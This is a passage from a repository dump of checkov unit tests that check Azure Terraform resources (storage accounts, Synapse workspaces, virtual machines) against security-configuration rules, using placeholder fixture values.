    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageAccountsUseReplication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageAccountsUseReplication(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageAccountsUseReplication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n            \"azurerm_storage_account.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_storage_account.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageBlobRestrictPublicAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageBlobRestrictPublicAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageBlobRestrictPublicAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageBlobRestrictPublicAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n\n        }\n        failing_resources = {\n            \"azurerm_storage_account.fail\",\n            \"azurerm_storage_account.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageBlobServiceContainerPrivateAccess.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.StorageBlobServiceContainerPrivateAccess import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestStorageBlobServiceContainerPrivateAccess(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_container\" \"example\" {\n              name                  = \"vhds\"\n              storage_account_name  = azurerm_storage_account.example.name\n              container_access_type = \"blob\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_container']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_container\" \"example\" {\n              name                  = \"vhds\"\n              storage_account_name  = azurerm_storage_account.example.name\n              container_access_type = \"private\"\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_container']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageLocalUsers.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.StorageLocalUsers import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestStorageLocalUsers(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_StorageLocalUsers\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_storage_account.pass\",\n            \"azurerm_storage_account.pass_missing_not_sftp\",\n            \"azurerm_storage_account.pass_missing_not_sftp2\",\n            \"azurerm_storage_account.pass_sftp_local_user_disabled\",\n        }\n\n        failing_resources = {\n            \"azurerm_storage_account.fail\",\n            \"azurerm_storage_account.fail_missing_sftp\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageSyncPublicAccessDisabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.StorageSyncPublicAccessDisabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestStorageSyncPublicAccessDisabled(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_sync\" \"test\" {\n              name                = \"example-storage-sync\"\n              resource_group_name = azurerm_resource_group.test.name\n              location            = azurerm_resource_group.test.location\n              tags = {\n                foo = \"bar\"\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_sync\" \"test\" {\n              name                = \"example-storage-sync\"\n              resource_group_name = azurerm_resource_group.test.name\n              location            = azurerm_resource_group.test.location\n              incoming_traffic_policy = \"AllowAllTraffic\"\n              tags = {\n                foo = \"bar\"\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_storage_sync\" \"test\" {\n              name                = \"example-storage-sync\"\n              resource_group_name = azurerm_resource_group.test.name\n              location            = azurerm_resource_group.test.location\n              incoming_traffic_policy = \"AllowVirtualNetworksOnly\"\n              tags = {\n                foo = \"bar\"\n              }\n            }\n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_storage_sync']['test']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_StorageSyncServicePermissiveAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.StorageSyncServicePermissiveAccess import check\n\n\nclass TestStorageSyncServicePermissiveAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_StorageSyncServicePermissiveAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_storage_sync.pass'\n        }\n        failing_resources = {\n            'azurerm_storage_sync.fail2',\n            'azurerm_storage_sync.fail1',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SynapseSQLPoolDataEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.SynapseSQLPoolDataEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSynapseSQLPoolDataEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SynapseSQLPoolDataEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_pass\",\n        }\n        failing_resources = {\n            \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_A\",\n            \"azurerm_synapse_sql_pool.azurerm_synapse_sql_pool_fail_B\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SynapseWorkspaceAdministratorLoginPasswordHidden.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.SynapseWorkspaceAdministratorLoginPasswordHidden import check\nfrom checkov.terraform.runner import Runner\n\nclass TestSynapseWorkspaceAdministratorLoginPasswordHidden(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SynapseWorkspaceAdministratorLoginPasswordHidden\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_synapse_workspace.azurerm_synapse_workspace_pass\",\n        }\n        failing_resources = {\n            \"azurerm_synapse_workspace.azurerm_synapse_workspace_fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SynapseWorkspaceCMKEncryption.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.SynapseWorkspaceCMKEncryption import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSynapseWorkspaceCMKEncryption(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_SynapseWorkspaceCMKEncryption\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_synapse_workspace.azurerm_synapse_workspace_pass\",\n        }\n        failing_resources = {\n            \"azurerm_synapse_workspace.azurerm_synapse_workspace_fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SynapseWorkspaceEnablesDataExfilProtection.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.SynapseWorkspaceEnablesDataExfilProtection import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestSynapseWorkspaceEnablesDataExfilProtection(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_SynapseWorkspaceEnablesDataExfilProtection\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_synapse_workspace.pass\",\n        }\n        failing_resources = {\n            \"azurerm_synapse_workspace.fail\",\n            \"azurerm_synapse_workspace.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 3)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_SynapseWorkspaceEnablesManagedVirtualNetworks.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.SynapseWorkspaceEnablesManagedVirtualNetworks import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestSynapseWorkspaceEnablesManagedVirtualNetworks(unittest.TestCase):\n\n    def test_failure_1(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_synapse_workspace\" \"example\" {\n              name                                 = \"example\"\n              resource_group_name                  = azurerm_resource_group.example.name\n              location                             = azurerm_resource_group.example.location\n              storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n              sql_administrator_login              = \"sqladminuser\"\n              sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n              managed_virtual_network_enabled      = false\n              aad_admin {\n                login     = \"AzureAD Admin\"\n                object_id = \"00000000-0000-0000-0000-000000000000\"\n                tenant_id = \"00000000-0000-0000-0000-000000000000\"\n              }\n            \n              tags = {\n                Env = \"production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_synapse_workspace\" \"example\" {\n              name                                 = \"example\"\n              resource_group_name                  = azurerm_resource_group.example.name\n              location                             = azurerm_resource_group.example.location\n              storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n              sql_administrator_login              = \"sqladminuser\"\n              sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n              aad_admin {\n                login     = \"AzureAD Admin\"\n                object_id = \"00000000-0000-0000-0000-000000000000\"\n                tenant_id = \"00000000-0000-0000-0000-000000000000\"\n              }\n\n              tags = {\n                Env = \"production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\n            resource \"azurerm_synapse_workspace\" \"example\" {\n              name                                 = \"example\"\n              resource_group_name                  = azurerm_resource_group.example.name\n              location                             = azurerm_resource_group.example.location\n              storage_data_lake_gen2_filesystem_id = azurerm_storage_data_lake_gen2_filesystem.example.id\n              sql_administrator_login              = \"sqladminuser\"\n              sql_administrator_login_password     = \"H@Sh1CoR3!\"  # checkov:skip=CKV_SECRET_80 test secret\n              managed_virtual_network_enabled      = true                \n              aad_admin {\n                login     = \"AzureAD Admin\"\n                object_id = \"00000000-0000-0000-0000-000000000000\"\n                tenant_id = \"00000000-0000-0000-0000-000000000000\"\n              }\n\n              tags = {\n                Env = \"production\"\n              }\n            }\n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_synapse_workspace']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMAgentIsInstalled.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VMAgentIsInstalled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVMAgentIsInstalled(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMAgentIsInstalled\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_linux_virtual_machine.pass\",\n            \"azurerm_windows_virtual_machine.pass\",\n            \"azurerm_linux_virtual_machine_scale_set.pass\",\n            \"azurerm_windows_virtual_machine_scale_set.pass\",\n            \"azurerm_linux_virtual_machine_scale_set.passdefault\",\n        }\n        failing_resources = {\n            \"azurerm_linux_virtual_machine.fail\",\n            \"azurerm_linux_virtual_machine.fail2\",\n            \"azurerm_windows_virtual_machine.fail\",\n            \"azurerm_windows_virtual_machine.fail2\",\n            \"azurerm_linux_virtual_machine_scale_set.fail\",\n            \"azurerm_windows_virtual_machine_scale_set.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMCredsInCustomData.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VMCredsInCustomData import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVMCredsInCustomData(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMCredsInCustomData\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_virtual_machine.no_secret\",\n            \"azurerm_virtual_machine.no_custom_data\",\n            \"azurerm_virtual_machine.empty_os_profile\",\n            \"azurerm_virtual_machine.no_os_profile\",\n        }\n        failing_resources = {\n            \"azurerm_virtual_machine.secret\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMDisablePasswordAuthentication.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.azure.VMDisablePasswordAuthentication import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestVMDisablePasswordAuthentication(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_VMDisablePasswordAuthentication\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"azurerm_linux_virtual_machine.pass\",\n            \"azurerm_linux_virtual_machine.pass2\",\n            \"azurerm_linux_virtual_machine_scale_set.pass\",\n            \"azurerm_linux_virtual_machine_scale_set.pass2\",\n        }\n        failing_resources = {\n            \"azurerm_linux_virtual_machine.fail\",\n            \"azurerm_linux_virtual_machine_scale_set.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n        self.assertEqual(summary[\"resource_count\"], 8)  # 3 unknown\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMDiskWithPublicAccess.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.azure.VMDiskWithPublicAccess import check\n\n\nclass TestVMDiskWithPublicAccess(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_VMDiskWithPublicAccess\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'azurerm_managed_disk.pass'\n        }\n        failing_resources = {\n            'azurerm_managed_disk.fail2',\n            'azurerm_managed_disk.fail1',\n        }\n        skipped_resources = {}\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary['passed'], len(passing_resources))\n        self.assertEqual(summary['failed'], len(failing_resources))\n        self.assertEqual(summary['skipped'], len(skipped_resources))\n        self.assertEqual(summary['parsing_errors'], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/azure/test_VMEncryptionAtHostEnabled.py",
    "content": "import unittest\n\nimport hcl2\n\nfrom checkov.terraform.checks.resource.azure.VMEncryptionAtHostEnabled import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestVMEncryptionAtHostEnabled(unittest.TestCase):\n\n    def test_failure1(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_windows_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"  # checkov:skip=CKV_SECRET_80 test secret\n                  admin_username      = \"adminuser\"\n                \n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n                \n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n                \n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n                \n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure2(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_windows_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"\n                  admin_username      = \"adminuser\"\n                  encryption_at_host_enabled = false\n\n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n\n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n\n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n\n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure3(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_linux_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"\n                  admin_username      = \"adminuser\"\n\n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n\n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n\n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n\n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure4(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_linux_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"\n                  admin_username      = \"adminuser\"\n                  encryption_at_host_enabled = false\n\n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n\n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n\n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n\n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_linux_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success1(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_windows_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = azurerm_resource_group.example.location\n                  sku                 = \"Standard_F2\"\n                  instances           = 1\n                  admin_password      = \"P@55w0rd1234!\"\n                  admin_username      = \"adminuser\"\n                  encryption_at_host_enabled = true\n\n                  source_image_reference {\n                    publisher = \"MicrosoftWindowsServer\"\n                    offer     = \"WindowsServer\"\n                    sku       = \"2016-Datacenter-Server-Core\"\n                    version   = \"latest\"\n                  }\n\n                  os_disk {\n                    storage_account_type = \"Standard_LRS\"\n                    caching              = \"ReadWrite\"\n                  }\n\n                  network_interface {\n                    name    = \"example\"\n                    primary = true\n\n                    ip_configuration {\n                      name      = \"internal\"\n                      primary   = true\n                      subnet_id = azurerm_subnet.internal.id\n                    }\n                  }\n                }   \"\"\")\n        resource_conf = hcl_res['resource'][0]['azurerm_windows_virtual_machine_scale_set']['example']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success2(self):\n        hcl_res = hcl2.loads(\"\"\"\n             resource \"azurerm_linux_virtual_machine_scale_set\" \"example\" {\n                  name                = \"example-vmss\"\n                  resource_group_name = azurerm_resource_group.example.name\n                  location            = 